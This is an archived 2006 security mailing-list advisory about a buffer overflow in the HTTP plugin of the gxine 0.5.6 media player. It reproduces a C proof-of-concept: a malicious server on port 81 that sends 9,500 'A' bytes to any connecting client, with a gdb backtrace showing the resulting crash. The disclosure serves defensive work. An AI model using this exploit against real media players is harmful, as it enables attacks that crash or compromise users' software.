Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [UNIX] gxine HTTP Plugin Buffer Overflow (Exploit) |
|---|---|
| Date: | 1 Jun 2006 11:01:31 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - gxine HTTP Plugin Buffer Overflow (Exploit) ------------------------------------------------------------------------ SUMMARY gxine is a GTK+ based GUI for the libxine video player library. A media player that can play all the audio/video formats that libxine supports. Currently, this includes MPEG1/2, some AVI and Quicktime files, some network streaming methods and disc based media (VCD, SVCD, DVD). There is a buffer overflow in the HTTP plugin for gxine. DETAILS Vulnerable Systems: * gxine version 0.5.6 Exploit: ////////////////////////////////////////////////////// // gxine - HTTP Plugin Remote Buffer Overflow PoC ///////////////////////////////////////////////////// // // Federico L. Bossi Bonin // fbossi[at]netcomm[dot]com[dot]ar ///////////////////////////////////////////////////// // TESTED on gxine 0.5.6 //////////////////////// // 0xb78eccc7 in free () from /lib/tls/libc.so.6 // (gdb) backtrace // #0 0xb78eccc7 in free () from /lib/tls/libc.so.6 // #1 0xb7438fc8 in ?? () from /usr/lib/xine/plugins/1.1.1/xineplug_inp_http.so // #2 0x41414141 in ?? () // #3 0xb7f42164 in ?? () from /usr/lib/libxine.so.1 // #4 0x080b1810 in ?? () // #5 0xb7f0e635 in xine_open () from /usr/lib/libxine.so.1 // #6 0xb7f3967f in ?? () from /usr/lib/libxine.so.1 // #7 0x0877c084 in ?? () // #8 0x0930a931 in ?? () // #9 0x080880a2 in defs.3 () // #10 0xb0088478 in ?? () // #11 0x00000000 in ?? () #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define PORT 81 #define LEN 9500 void shoot(int); int main() { struct sockaddr_in srv_addr, client; int len,pid,sockfd,sock; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { perror("error socket()"); exit(1); } bzero((char *) &srv_addr, sizeof(srv_addr)); srv_addr.sin_family = AF_INET; srv_addr.sin_addr.s_addr = INADDR_ANY; srv_addr.sin_port = htons(PORT); if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0) { perror("error bind()"); exit(1); } printf("Listening on port %i\n",PORT); listen(sockfd,5); len = sizeof(client); while (1) { sock = accept(sockfd, (struct sockaddr *) &client, &len); if (sock < 0) { perror("error accept()"); exit(1); } pid = fork(); if (pid < 0) { perror("fork()"); exit(1); } if (pid == 0) { close(sockfd); printf("Conection from %s\n",inet_ntoa(client.sin_addr)); shoot(sock); exit(0); } else close(sock); } return 0; } void shoot (int sock) { int i; for (i=0 ; i < LEN ; i++) { write(sock,"\x41",1); } } ADDITIONAL INFORMATION The information has been provided by milw0rm. The original article can be found at: <http://www.milw0rm.com/exploits/1852> http://www.milw0rm.com/exploits/1852 ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NEWS] Gecko marquee DoS, SecuriTeam |
|---|---|
| Previous by Thread: | [NEWS] Gecko marquee DoS, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |